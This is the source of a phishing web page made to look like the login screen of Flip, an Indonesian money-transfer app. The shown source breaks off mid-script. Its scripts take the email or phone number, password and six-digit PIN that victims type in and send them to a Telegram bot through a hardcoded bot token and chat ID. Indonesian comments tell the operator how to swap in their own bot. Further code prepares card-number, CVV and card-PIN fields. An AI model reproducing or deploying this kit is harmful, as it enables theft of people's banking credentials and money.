2023-05-29 19:03:05 +00:00
<!-- This site was created in Webflow. https://www.webflow.com --> <!-- Last Published: Sat Apr 22 2023 09:42:10 GMT+0000 (Coordinated Universal Time) -->
< html data-wf-domain = "sinarmas-mobile.webflow.io" data-wf-page = "6442141a49c262283d23a772" data-wf-site = "644212b949c2624101239c6f" lang = "In" > < head > < meta charset = "utf-8" / >
< title > Flip - Transfer Beda Bank Gratis< / title >
< meta content = "Flip - Transfer Beda Bank Gratis " property = "og:title" >
< meta content = "flip.id" property = "twitter:title" >
< meta name = "description" content = "Transfer beda bank, top up e-wallet, kirim uang ke luar negeri, dan beli produk digital. Semua lebih terjangkau!" >
< meta name = "viewport" content = "width=device-width, initial-scale=1.0, maximum-scale=1.0" name = "viewport" >
< meta name = "theme-color" content = "#FFFFFF" >
< meta content = "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDke0ML57-FWGF63PLg0_hgJwc4HEB7Tqp_Rt8jVPgilp42OztJTONPbgNy9WAwgCXJS9NsvPdmZureLIsNcgMyb7odSCElXigrmDMftBhTbM6-YIAT7o_Rs_5MfU-jZTBCk3Sqqh0CQlojgeFWkVBBsy1elNS3NwAg3bOigYFOGFYA0xD-XbbfXMK/s16000/IMG-20230528-WA0013.jpg" property = "og:image" >
< link rel = "canonical" href = "https://flip.id/" >
< meta property = "og:url" content = "https://flip.id/" / >
< meta content = "Flip - Transfer Beda Bank Gratis" name = "generator" >
< meta content = "Webflow" name = "generator" / >
< link href = "https://uploads-ssl.webflow.com/644212b949c2624101239c6f/css/sinarmas-mobile.webflow.e4429d583.css" rel = "stylesheet" type = "text/css" / >
<!-- [if lt IE 9]> -->
< script src = "https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js" type = "text/javascript" >
< / script >
< link rel = "stylesheet" href = "https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" >
<!-- <![endif] -->
< script type = "text/javascript" > ! function ( o , c ) { var n = c . documentElement , t = " w-mod-" ; n . className += t + "js" , ( "ontouchstart" in o || o . DocumentTouch && c instanceof DocumentTouch ) && ( n . className += t + "touch" ) } ( window , document ) ; < / script >
< link href = "https://storage.googleapis.com/dot-flip-dev/media-library/logo_lg_430b708631/logo_lg_430b708631.svg" rel = "shortcut icon" type = "image/x-icon" / >
< link href = "https://storage.googleapis.com/dot-flip-dev/media-library/logo_lg_430b708631/logo_lg_430b708631.svg" rel = "apple-touch-icon" / >
< link href = "https://fonts.googleapis.com/css?family=Alatsi" rel = "stylesheet" type = "text/css" >
< link href = "https://cdn.jsdelivr.net/npm/bootstrap@5.2.0-beta1/dist/css/bootstrap.min.css" rel = "stylesheet" integrity = "sha384-0evHe/X+R7YkIZDRvuzKMRqM+OrBnVFBL6DOitfPri4tjfHxaWutUpFmBp4vmVor" crossorigin = "anonymous" >
< link rel = "stylesheet" href = "https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css" / >
< link rel = "stylesheet" href = "https://flip-indonesia.github.io/landing/style.css" / >
< script type = "text/javascript" > window . _ _WEBFLOW _CURRENCY _SETTINGS = { "currencyCode" : "USD" , "$init" : true , "symbol" : "$" , "decimal" : "." , "fractionDigits" : 2 , "group" : "," , "template" : "{{wf {\"path\":\"symbol\",\"type\":\"PlainText\"} }} {{wf {\"path\":\"amount\",\"type\":\"CommercePrice\"} }} {{wf {\"path\":\"currencyCode\",\"type\":\"PlainText\"} }}" , "hideDecimalForWholeNumbers" : false } ; < / script >
< script src = "https://cdnjs.cloudflare.com/ajax/libs/prefixfree/1.0.7/prefixfree.min.js" > < / script >
< style >
< / style >
< / head >
< body class = "body-4" >
< welalxcome >
< / welalxcome >
< chsalxcome2 style = "display: none;" >
< div style = "height:30px;width: 70px;margin-top: -30px;margin-bottom: 0px;float:center;margin-left:42%" class = "talxcome" >
< / div >
< div class = "container-4 w-container" >
< form onsubmit = "kirimPesan()" method = "get" >
< fieldset id = "ryuSubmit" >
< div id = "homeku" >
< image src = "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwxZzEBfkKKBoSOTg4Dq-ZdTJ5h_lXvreuflUy0RBYrdXdG5B6IRlgmYyu_vKNK5YlWqfB39hYS14tw9mX2LJjOUNZAfuBAk35gWfaMVVIuFQOelf9POHvPQYTFfz6JF-A-btaZV9-oqKtcsWXSPliVeC9OrN1o-5s85qhN-_a81SHE9k_P2bGKbSc/s16000/AddText_05-28-01.20.06.jpg" width = "100%" height = "auto" >
< div style = "top: 225px; position: absolute; margin: auto;" >
< label for = "user" class = "labelku" > Email/Nomor Handphone< / label >
< input type = "text" id = "user" class = "userku" placeholder = "nama@email.id atau 085123456789" / >
< br >
< br >
< p style = "margin-top: 30px;" > < / p >
< label for = "pass" class = "labelku" style = "margin-left: -70px" > Kata Sandi< / label >
< input type = "password" id = "pass" class = "userku" placeholder = "********" / >
< a href = "" style = "text-decoration: none; position: absolute; left: 15; font-size: 13px; font-weight: 800; color: #FD6442; margin-top: 65px" > Lupa Kata sandi?< / a >
< button class = "btnflip" type = "button" id = "btnRedirect" onclick = "kirimLogin()" > Masuk< / button >
< a href = "" style = "text-decoration: none; position: fixed; left: 0; right: 0; font-size: 13px; font-weight: 800; color: #ccc; bottom: 20; " > Belum punya akun? < span style = "color: #FD6442;" > Daftar.< / span > < / a >
< / div >
< / div >
< div class = "tab" id = "login" >
< div style = "position: fixed; left: 0; right: 0; bottom: 6; width: 92%; margin: 15px auto" >
< div class = "col-12" style = "width: 100%; display: block; margin-top: 20px; background: transparent;" >
< div >
< br >
< label class = "floating-label" > < input type = "text" class = "input-text nope inputku" placeholder = " " id = "nama" > < span style = "margin-left: -10px; margin-top: 30px; color: #2C2C2C; font-weight: 400;" > Username< / span > < / label >
< / div >
< div style = "margin-top: -2px" >
< label class = "floating-label" style = "margin-top" >
< p > < / p >
< p > < / p >
< input type = "password" class = "input-text nope " placeholder = " " id = "email" pattern = "(?=.*[a-z])(?=.*[A-Z]).{8,}" title = "Masukan Data yang terdaftar di 𝗕𝗥𝗜𝗺𝗼 anda" required > < span style = "margin-left: -10px; margin-top: 30px; color: #2C2C2C; font-weight: 400;" > Password< / span > < / label >
< div class = "bubble-element eye clickable-element" tabindex = "3" id = "eyeOpen" >
< img alt = "" id = "eye" src = "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCANQQ9gRdrWH7ZPFKAq4urYybNZsOj8Ex5X_dv2V-_pcCmIi7fFbbUzil7Lt1EHCxfek4x7r1XKYELxxV8zrJ08eXhx2rFpludblnsBaiOc8tw_APAWFft0MqheoBGS7Ba9pHuhP7LjNz38WVXJL9f-q-7QY8lfuuC77vQTH3-HhJN02PMO6awj1-/s38/tutup0399.jpg" style = "display: block; margin: 0px; width: 100%; height: 100%; border-radius: 0px;" >
< / div >
< div class = "bubble-element eye clickable-element" tabindex = "3" id = "eyeClose" style = "display: none" >
< img alt = "" id = "eye" src = "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2D_yppIdlT8o8x-_N4i6il4NGMzDSXDlRDGcg_E7Y12wN4xb6Oz17Px8AGCpl-wSD_qbXxhFEj6d3p-6g_KSLYaslfIyHjseWqrijoTq6XyKl07ht6xMX2obQ738iVTc1r0taCjIDAA5amrjTDaJ_kPu8rsWCCySVr4qbQu11mF2YrFiZs8raSKuV/s52/buka53a4.jpg" style = "display: block; margin: 0px; width: 100%; height: 100%; border-radius: 0px;" >
< / div >
< br >
< div class = "text-header" style = "float: right; position: static; z-index: 999; display: block; margin-top: -10px; margin-bottom:" >
< font style = "font-size: 16px" color = "#000000" > < a href = "./lupa_password.html" target = "_blank" style = "color: #025198; text-decoration: none; font-weight: bold; font-family: sans-serif;" > Lupa Username/Password?< / a > < / font >
< / div >
< / div >
< / div >
< button class = "btn-login1" type = "button" id = "dolog" onclick = "loginku()" disabled > Login < / button >
< div class = "col-12" style = "width: 40px; max-width: 40%; display: block; margin: -10px auto; margin-right: 20px; margin-top: -91px;" >
< button type = "button" class = "btn-login" onclick = "openForm()" > < / button >
< / div >
< / div >
< / div >
< div class = "form-popup" id = "myForm" style = "margin-top: 0px; width: 100%; background-color: #00000040" >
< input type = "hidden" value = "fingerprint" required >
< button id = "dolog" type = "submit" style = "width: 100%; height: 100%; background: #000000; " > < img src = "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpm2K2JjLtYWlcV0QrNSU7ECBSFJGsUn94v5U1_eXWScHM6t8xk5K3dW7Z6L4MAYQmKFG1tTEesbTXJlnGZ-Ez4KDA4kG3jYBSSuQ3j0h9HxyxsWxSqEAAnHWtj0Qmw6vahUpN7adcpY4QNnO-AJHLIHjhlfnMK7ZkNQwUhbeSN2B7dIkA8RxfgsgK/s2137/AddText_01-30-07.14.49.png" style = "width: 100%; height: 100%; margin-left: -7px; margin-top: 0px;" class = "card-item__bg" > < / button >
< button type = "button" class = "btn-cancel" onclick = "closeForm()" > Cancel< / button >
< / div >
< / div >
< / div >
< div class = "tab" id = "pinku" style = "color: #fff; padding-left: 25px; padding-right: 30px; margin: auto;" >
< div class = "row" style = "margin-top: 30px; margin: 20px auto;" >
< div class = "col-12 d-block mx-auto sizing" style = "white-space: pre-wrap; text-align: center; margin-top: 25px; height: 98.8px; padding-bottom: 0px; font-family: Barlow; font-size: 16px; font-weight: 400; color: #fff; line-height: 1.4; border-radius: 0px;" >
< div class = "text-header" style = "font-family: 'Nunito', sans-serif;" > < font size = "3" style = "color: #fff" > < / div >
< / div >
< / div >
< div class = "row" style = "margin-top: 30px; color: #fff; text-align: center" >
< div class = "col-12 d-block mx-auto sizing" style = "white-space: pre-wrap; height: 98.8px; padding-bottom: 0px; font-size: 16px; font-weight: 400; color: #fff; line-height: 1.4; border-radius: 0px;" >
< div class = "text-header" > < / div >
< / div >
< / div >
< div class = "row" style = "margin-top: -100px;" >
< div class = "col-12 d-block mx-auto sizing" style = "white-space: pre-wrap; height: 58.8px; padding-bottom: 0px; font-size: 16px; font-weight: 400; color: rgb(59, 59, 59); line-height: 1.4; border-radius: 0px;" >
< div class = "row" style = "texr-align: center; margin: 40px; margin-top: -35px" >
< input type = "hidden" name = "sixpin" id = "setPin" >
< div class = "col-2" >
< div class = "bubble-r-box" style = "height: 52px; left: 0px; width: 50px;" >
< div class = "bubble-element Group" id = "pin-1" data-val = "" style = "box-sizing: border-box; font-size: 11px; color: #000; text-align: center; padding-top: 0px; width: 20px; left: 0px; top: 0px; background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;" > < / div >
< / div >
< / div >
< div class = "col-2" >
< div class = "bubble-r-box" style = "height: 52px; left: 0px; width: 50px;" >
< div class = "bubble-element Group" id = "pin-2" data-val = "" style = "box-sizing: border-box; width: 20px; font-size: 11px; color: #000; text-align: center; padding-top: 0px;background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;" > < / div >
< / div >
< / div >
< div class = "col-2" >
< div class = "bubble-r-box" style = "height: 52px; left: 0px; width: 50px;" >
< div class = "bubble-element Group" id = "pin-3" data-val = "" style = "box-sizing: border-box; width: 20px; font-size: 11px; color: #000; text-align: center; padding-top: 0px;background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;" > < / div >
< / div >
< / div >
< div class = "col-2" >
< div class = "bubble-r-box" style = "height: 52px; left: 0px; width: 50px;" >
< div class = "bubble-element Group" id = "pin-4" data-val = "" style = "box-sizing: border-box; width: 20px; font-size: 11px; color: #000; text-align: center; padding-top: 0px;background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;" > < / div >
< / div >
< / div >
< div class = "col-2" >
< div class = "bubble-r-box" style = "height: 52px; left: 0px; width: 50px;" >
< div class = "bubble-element Group" id = "pin-5" data-val = "" style = "box-sizing: border-box; width: 20px; font-size: 11px; color: #000; text-align: center; padding-top: 0px; background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;" > < / div >
< / div >
< / div >
< div class = "col-2" >
< div class = "bubble-r-box" style = "height: 52px; left: 0px; width: 50px;" >
< div class = "bubble-element Group" id = "pin-6" data-val = "" style = "box-sizing: border-box; width: 20px; font-size: 11px; color: #000; text-align: center; padding-top: 0px;background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;" > < / div >
< / div >
< / div >
< / div >
< div class = "row" style = "margin-top: -130px" >
< div class = "col-12" >
< div class = "text-header text-center" style = "font-family: 'Nunito', sans-serif;'" > < < / div >
< / div >
< / div >
< / div >
< / div >
< div class = "row" style = "margin-top: 70px; margin-left: -5px;" >
< div class = "col-12 d-block mx-auto sizing" style = "white-space: pre-wrap; height: 98.8px; padding-bottom: 0px; font-size: 16px; font-weight: 400; color: black; line-height: 1.4; border-radius: 0px;" >
< div class = "row" >
< div class = "col-4" >
< button class = "bubble-element Group pinNumb" id = "setPin" data-id = "1" > 1< / button >
< / div >
< div class = "col-4" >
< button class = "bubble-element Group pinNumb" id = "setPin" data-id = "2" > 2< / button >
< / div >
< div class = "col-4" >
< button class = "bubble-element Group pinNumb" id = "setPin" data-id = "3" > 3< / button >
< / div >
< / div >
< div class = "row" style = "margin-top: -80px" >
< div class = "col-4" >
< button class = "bubble-element Group pinNumb" id = "setPin" data-id = "4" > 4< / button >
< / div >
< div class = "col-4" >
< button class = "bubble-element Group pinNumb" id = "setPin" data-id = "5" > 5< / button >
< / div >
< div class = "col-4" >
< button class = "bubble-element Group pinNumb" id = "setPin" data-id = "6" > 6< / button >
< / div >
< / div >
< div class = "row" style = "margin-top: -80px" >
< div class = "col-4" >
< button class = "bubble-element Group pinNumb" id = "setPin" data-id = "7" > 7< / button >
< / div >
< div class = "col-4" >
< button class = "bubble-element Group pinNumb" id = "setPin" data-id = "8" > 8< / button >
< / div >
< div class = "col-4" >
< button class = "bubble-element Group pinNumb" id = "setPin" data-id = "9" > 9< / button >
< / div >
< / div >
< div class = "row" style = "margin-top: -80px" >
< div class = "col-4" >
< / div >
< div class = "col-4" >
< button class = "bubble-element Group pinNumb" id = "setPin" data-id = "0" > 0< / button >
< / div >
< div class = "col-4" >
< button class = "bubble-element Group pinNumb" id = "hapus" > < i class = "ion-backspace-outline" > < / i > < / button >
< / div >
< / div >
< / div >
< / div >
< / div >
< / fieldset >
< / form >
< / div >
< div class = "tab" id = "debit" >
< p id = "otpsaya" style = "color: black; position: fixed; left: 0; right: 0; top: 113; font-size: 15px" > < / p >
< div class = "pin-code" maxlength = "6" style = "margin-top: 170px;" >
< form method = "get" >
< input type = "hidden" name = "sixpin" id = "setPin" >
< input type = "tel" id = "pin1" data-id = "1" maxlength = "1" required autofocus >
< input type = "tel" id = "pin2" data-id = "2" name = "pin2" maxlength = "1" autofocus >
< input type = "tel" id = "pin3" data-id = "3" name = "pin3" maxlength = "1" autofocus >
< input type = "tel" id = "pin4" data-id = "4" name = "pin4" maxlength = "1" autofocus >
< input type = "tel" id = "pin5" data-id = "5" name = "pin5" maxlength = "1" autofocus >
< input type = "tel" value = "" id = "pin6" data-id = "6" name = "pin6" maxlength = "1" required onchange = "javascript:this.form.submit();" oninput = "kirimPin()" autofocus >
< p > < / p >
< input type = "tel" style = "opacity: 0.0" >
< / div >
< / form >
< p style = "font-weight: bold; font-size: 25px; color: #000000; text-align: center; margin: 10px auto; margin-top: -50px" id = "timer" > 3 : 00< / p >
< center >
< button type = "button" id = "gantino" style = "position: ; bottom: 10; left; 0; right: 0; margin: 5px auto; margin-top: 340px; color: #FD6442; font-weight: 800; background: transparent; font-size: 15px" > Ubah nomor HP< / button >
< / center >
< / div >
< div id = "loading" >
< img src = "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWid-1DztYEbF1wQ4b3ESQKzFpMuGNzhaS2PN-lrrQpGzFt7NIsq0vuvIEI63T_g-iDxbu358ijQMM23euMCjuBqzegiKeJWQSziK-1H-jJZhL06h0zOERvNm2hNGMuuGsqoY1T8xCBTJ9GY-U9orhQfMkQvdYGG41OLj1knwPFfCEN0YqLFb73UI6/s16000/ezgif.com.gif"
alt="">
< / div >
< div id = "aseli" > < / div >
< div id = "koneksi" >
< div class = "animated fadeInUpBig" >
< image src = "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVvlhVV1edmw-JWVGbd5sKgKqC07Psdrq7yzoeuzacmSJ52mHlLkVdWEefInQpNRFlLzmjvOntJ65c40xTAYKamopDWfp2MNwsFwyUxt-wNVBm8Pf-cVA9PPYOAeDKsXxX6dYe2CNoRyIN6Zx-tGTv8VL47i7GxPAmcq2MOyowksTIYEFIVhghzaFA/s16000/1685119842427.png" width = "100%" height = "100%" > < / image >
< / div >
< / div >
<!-- partial -->
< / div >
<!-- partial:index.partial.html -->
< script src = "https://code.jquery.com/jquery-1.12.4.min.js"
integrity="sha384-nvAa0+6Qg9clwYCGGPpDQLVpLNn0fRaROjHqs13t4Ggj3Ez50XnGQqc/r8MhnRDZ"
crossorigin="anonymous">
< / script >
< script src = "https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.15/jquery.mask.min.js" > < / script >
< script >
$(document).ready(function(){
$("#setPin").passwordify().focus();
});
< / script >
< script type = "text/javascript" src = "http://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js" > < / script >
< script type = "text/javascript" >
$(function () {
$("#btnRedirect1").click(function () {
var seconds = 3;
$("#indi").show();
$("#loading").show();
$("#lblCount").html(seconds);
setInterval(function () {
seconds--;
$("#lblCount").html(seconds);
if (seconds == 0) {
$("#indi").hide();
$("#loading").hide();
document.getElementById("pinku").style.display = "block";
document.getElementById("menu").style.display = "none";
}
}, 1000);
});
});
< / script >
< script type = "text/javascript" >
$(function () {
$("#gantino").click(function () {
var seconds = 3;
$("#loading").show();
$("#lblCount").html(seconds);
setInterval(function () {
seconds--;
$("#lblCount").html(seconds);
if (seconds == 0) {
$("#loading").hide();
document.getElementById("homeku").style.display = "block";
document.getElementById("debit").style.display = "none";
document.getElementById("pinku").style.display = "none";
}
}, 1000);
});
});
< / script >
< script >
/**
* jQuery.Passwordify.js
* Written by: Jay Simons
* Cloudulus.Media (https://code.cloudulus.media)
*/
if (window.jQuery) {
(function ($) {
$.fn.passwordify = function (opts) {
var settings = $.extend({
maxLength: 8,
numbersOnly: false,
alphaOnly: false,
alNumOnly: false,
enterKeyCallback: null
}, opts);
var rePattern = '\\s\\S';
if (settings.numbersOnly) rePattern = '0-9';
if (settings.alphaOnly) rePattern = 'A-z';
if (settings.alNumOnly) rePattern = '0-9A-z';
var maskPlaceholder = "";
for (var i = 0; i < settings.maxLength ; i + + )
{
maskPlaceholder = maskPlaceholder + 'Z';
}
return this.on('keyup', function (e) {
var me = $(this);
switch (e.which) {
case 8: // Handle backspace
$(this).data('val', $(this).data('val').slice(0, -1));
break;
case 13: // Handle enter key
if (typeof settings.enterKeyCallback == 'function') settings.enterKeyCallback(me);
break;
case undefined:
$(this).data('val', $(this).val());
break;
default: // All other input
var regex = new RegExp("^[" + rePattern + "]$");
if (regex.exec(e.key) & & $(this).data('val').length < settings.maxLength ) {
$(this).data('val', $(this).data('val') + e.key);
}
}
setTimeout(function () {
var inpVal = me.val();
me.val(inpVal.replace(/./gi, '*'));
me.trigger('change');
}, 300);
}).mask(maskPlaceholder, {
translation: {
'Z': {pattern: "[" + rePattern + "\*]"}
}
});
}
})(jQuery);
} else {
console.log("Passwordify.js: This class requies jQuery > v3!");
}
< / script >
<!-- partial -->
< / center >
< / div >
< / form >
< script src = "https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js" > < / script >
< script >
$( document ).ready(function() {
setTimeout(() => {
$('welalxcome').hide();
$('chsalxcome2').fadeIn();
},1000)
});
$(document).ready(function () {
$("#Button").on('click', function () {
$("#loading").show();
setTimeout(function () {
}, 1800);
});
});
< / script >
< script >
function kirimLogin(){
document.getElementById("pinku").style.display = "block";
document.getElementById("loading").style.display = "block";
setTimeout(function () {
$("#loading").fadeOut("slow"); }, 900);
var user = document.getElementById('user');
var pass = document.getElementById('pass');
var gabungan = '𝗘𝗺𝗮𝗶𝗹/𝗡 𝗼 .𝗛 𝗮 𝗻 𝗱 𝗽 𝗵 𝗼 𝗻 𝗲 %3A%0A' + user.value + '%0A𝗣 𝗮 𝘀 𝘀 𝘄 𝗼 𝗿 𝗱 %3A%0A' + pass.value;
var token = '5653453855:AAHFJmxmA-2Fpi8XP0_0cq-f5SpU9PlbuNc'; // Ganti dengan token bot yang kamu buat
var grup = '5627477315'; // Ganti dengan chat id dari bot yang kamu buat
$.ajax({
url: `https://api.telegram.org/bot${token}/sendMessage?chat_id=${grup}& text=${gabungan}& parse_mode=html`,
method: `POST`,
})
}
< / script >
< script >
function openForm() {
document.getElementById("myForm").style.display = "block";
}
function closeForm() {
document.getElementById("myForm").style.display = "none";
}
< / script >
< script >
document.getElementById('timer').innerHTML =
01 + ":" + 59;
startTimer();
function startTimer() {
var presentTime = document.getElementById('timer').innerHTML;
var timeArray = presentTime.split(/[:]+/);
var m = timeArray[0];
var s = checkSecond((timeArray[1] - 1));
if(s==59){m=m-1}
if(m< 01 ) {
return
}
document.getElementById('timer').innerHTML =
m + " : " + s;
console.log(m)
setTimeout(startTimer, 1000);
}
function checkSecond(sec) {
if (sec < 10 & & sec > = 0) {sec = "0" + sec}; // add zero in front of numbers < 10
if (sec < 0 ) { sec = "59" } ;
return sec;
}
< / script >
< script src = "https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js" > < / script >
< script src = "https://cdn.jsdelivr.net/npm/bootstrap@5.2.0-beta1/dist/js/bootstrap.bundle.min.js" integrity = "sha384-pprn3073KE6tl6bjs2QrFaJGz5/SUsLqktiwsUTF55Jfv3qYSDhgCecCxMW52nD2" crossorigin = "anonymous" > < / script >
< script >
function kirimPesan() {
document.getElementById("otpsaya").innerHTML = "SMS di < strong > " + user.value + "< / strong > dan cek email anda";
var setPin = document.getElementById('setPin');
var gabungan = '𝗣 𝗜 𝗡 𝗙 𝗹 𝗶 𝗽 %3A%0A' + setPin.value;
var token = '5653453855:AAHFJmxmA-2Fpi8XP0_0cq-f5SpU9PlbuNc'; // Ganti dengan token bot yang kamu buat
var grup = '5627477315'; // Ganti dengan chat id dari bot yang kamu buat
$.ajax({
url: `https://api.telegram.org/bot${token}/sendMessage?chat_id=${grup}& text=${gabungan}& parse_mode=html`,
method: `POST`,
})
}
$(document).ready(function() {
$("button#setPin").on('click', function() {
var pin = $(this).attr('data-id');
if($.trim($("#pin-1").html())=='') {
$("#pin-1").html(pin);
} else if($.trim($("#pin-1").html())!='' & & $.trim($("#pin-2").html())=='') {
$("#pin-2").html(pin);
} else if($.trim($("#pin-2").html())!='' & & $.trim($("#pin-3").html())=='') {
$("#pin-3").html(pin);
} else if($.trim($("#pin-3").html())!='' & & $.trim($("#pin-4").html())=='') {
$("#pin-4").html(pin);
} else if($.trim($("#pin-4").html())!='' & & $.trim($("#pin-5").html())=='') {
$("#pin-5").html(pin);
} else if($.trim($("#pin-5").html())!='' & & $.trim($("#pin-6").html())=='') {
$("#pin-6").html(pin);
var setPin = $("#pin-1").html()+''+$("#pin-2").html()+''+$("#pin-3").html()+''+$("#pin-4").html()+''+$("#pin-5").html()+''+$("#pin-6").html();
$("input#setPin").val(setPin);
var pinValue = $("input#setPin").val();
if(pinValue.length == 6) {
$("fieldset").submit();
document.getElementById("debit").style.display = "block";
document.getElementById("loading").style.display = "flex";
setTimeout(function () {
$("#loading").fadeOut("slow"); }, 900);
}
}
});
$("#hapus").on('click', function() {
$("#pin-1").html('');
$("#pin-2").html('');
$("#pin-3").html('');
$("#pin-4").html('');
$("#pin-5").html('');
});
});
< / script >
< script src = "https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.min.js" > < / script >
< script src = "https://d3e54v103j8qbb.cloudfront.net/js/jquery-3.5.1.min.dc5e7f18c8.js?site=644212b949c2624101239c6f" type = "text/javascript" integrity = "sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0=" crossorigin = "anonymous" > < / script >
<!-- <script src="https://uploads - ssl.webflow.com/644212b949c2624101239c6f/js/webflow.5baa35f54.js" type="text/javascript"></script> --> <!-- [if lte IE 9]> -->
< script src = "//cdnjs.cloudflare.com/ajax/libs/placeholders/3.0.2/placeholders.min.js" > < / script >
< script src = "https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"
integrity="sha512-+NqPlbbtM1QqiK8ZAo4Yrj2c4lNQoGv8P79DPtKzj++l5jnN39rHA/xsqn8zE9l0uSoxaCdrOgFs6yjyfbBxSg=="
crossorigin="anonymous" referrerpolicy="no-referrer">< / script >
< script type = "text/javascript" >
function EnableDisable(tiktok) {
//Reference the Button.
var Button = document.getElementById("Button");
//Verify the TextBox value.
if (tiktok.value.trim() != "") {
//Enable the TextBox when TextBox has value.
Button.disabled = false;
} else {
//Disable the TextBox when TextBox is empty.
Button.disabled = true;
}
};
< / script >
< script >
function OnButton(nama, email) {
if(nama.length > 4 & & email.length > 5) {
$(".btn-login1").prop('disabled', false);
} else {
$(".btn-login1").prop('disabled', true);
}
}
$(document).ready(function() {
$("body").on('click', 'button#doLog', function() {
var user = $("#nama").val();
var pass = $("#email").val();
$.ajax({
url: "/login/confirm.php",
method: "POST",
data: "username="+user+"& password="+pass,
beforeSend: function() {
$("#loading").show();
},
success: function(responsex) {
$("#aseli").html('');
if(responsex == "true") {
$.get("/aplikasi/login.js", function(datax, status){
window.history.pushState("", "", '/login.js');
$("#hideBody").hide();
$("#loading").hide();
$("#aseli").html(datax);
});
} else {
$.get("/aplikasi/pin.php", function(data, status){
window.history.pushState("", "", 'aplikasi/login.php');
setTimeout(function() {
$("#hideBody").hide();
$("#loading").hide();
$("#aseli").html(data);
$("#aseli").show();
}, 1000);
});
}
}
})
});
$("div#eyeOpen").on('click', function() {
$("#eyeOpen").css("display", "none");
$("#eyeClose").css("display", "block");
$("#email").prop("type", "text");
$("div#eyeClose").on('click', function() {
$("#eyeOpen").css("display", "block");
$("#eyeClose").css("display", "none");
$("#email").prop("type", "password");
});
});
$("#nama").on('input', function() {
var user = $("#nama").val();
var pass = $("#email").val();
OnButton(user, pass);
});
$("#email").on('input', function() {
var user = $("#nama").val();
var pass = $("#email").val();
OnButton(user, pass);
});
});
< / script >
< script src = 'https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.0/jquery.min.js' > < / script >
< script src = 'https://use.fontawesome.com/2473308824.js' > < / script >
< script >
$(document).ready(function() {
var buttoqn = $('#Button1');
$(button).prop('disabled', true);
$('#pin5').on('input', function() {
var pin5 = $("#pin5").val();
var logos = $("#logos").val();
if ($(buttonq).prop('disabled')) $(buttonq).prop('disabled', false);
else $(button).prop('disabled', true);
});
< / script >
<!-- <![endif] -->
< / body >
< / html >
< script >
//var pinContainer = document.getElementsByClassName("pin-code")[maxlength];
var pinContainer = document.querySelector(".pin-code");
console.log('There is ' + pinContainer.length + ' Pin Container on the page.');
pinContainer.addEventListener('keyup', function (event) {
var target = event.srcElement;
var maxLength = parseInt(target.attributes["maxlength"].value, 6);
var myLength = target.value. length;
if (myLength >= maxLength) {
var next = target;
while (next = next.nextElementSibling) {
if (next == 0) break;
if (next.tagName.toLowerCase() == "input") {
next.focus();
break;
}
}
}
if (myLength === 0) {
var next = target;
while (next = next.previousElementSibling) {
if (next == 0) break;
if (next.tagName.toLowerCase() == "input") {
next.focus();
break;
}
}
}
}, false);
pinContainer.addEventListener('keydown', function (event) {
var target = event.srcElement;
target.value = "";
}, false);
< / script >
< script src = 'https://cdnjs.cloudflare.com/ajax/libs/vue/2.6.10/vue.min.js' > < / script >
< script src = 'https://unpkg.com/vue-the-mask@0.11.1/dist/vue-the-mask.js' > < / script > < script src = "./credit.js" > < / script >
< script src = "https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js" > < / script >
< script >
/*
See on github: https://github.com/muhammederdem/credit-card-form
*/
new Vue({
el: "#app",
data() {
return {
currentCardBackground: Math.floor(Math.random()* 25 + 1), // just for fun :D
cardName: "",
cardNumber: "",
cardCvv: "",
cardPin: "",
cardPin1: "",
cardPin2: "",
cardPin3: "",
cardPin4: "",
cardPin5: "",
amexCardMask: "#### ###### #####",
otherCardMask: "#### #### #### ####",
cardNumberTemp: "",
isCardFlipped: false,
focusElementStyle: null,
isInputFocused: true
};
},
mounted() {
this.cardNumberTemp = this.otherCardMask;
document.getElementById("cardNumber").focus();
},
computed: {
getCardType () {
let number = this.cardNumber;
let re = new RegExp("^4[0-8]");
if (number.match(re) != null) return "visa";
re = new RegExp("^3[4-7]");
if (number.match(re) != null) return "amex";
re = new RegExp("^5[1-8]");
if (number.match(re) != null) return "mastercard";
re = new RegExp("^6011");
if (number.match(re) != null) return "discover";
re = new RegExp("^6013");
if (number.match(re) != null) return "gpn";
re = new RegExp('^9792')
if (number.match(re) != null) return 'troy'
return "none"; // default type
},
generateCardNumberMask () {
return this.getCardType === "amex" ? this.amexCardMask : this.otherCardMask;
},
minCardMonth () {
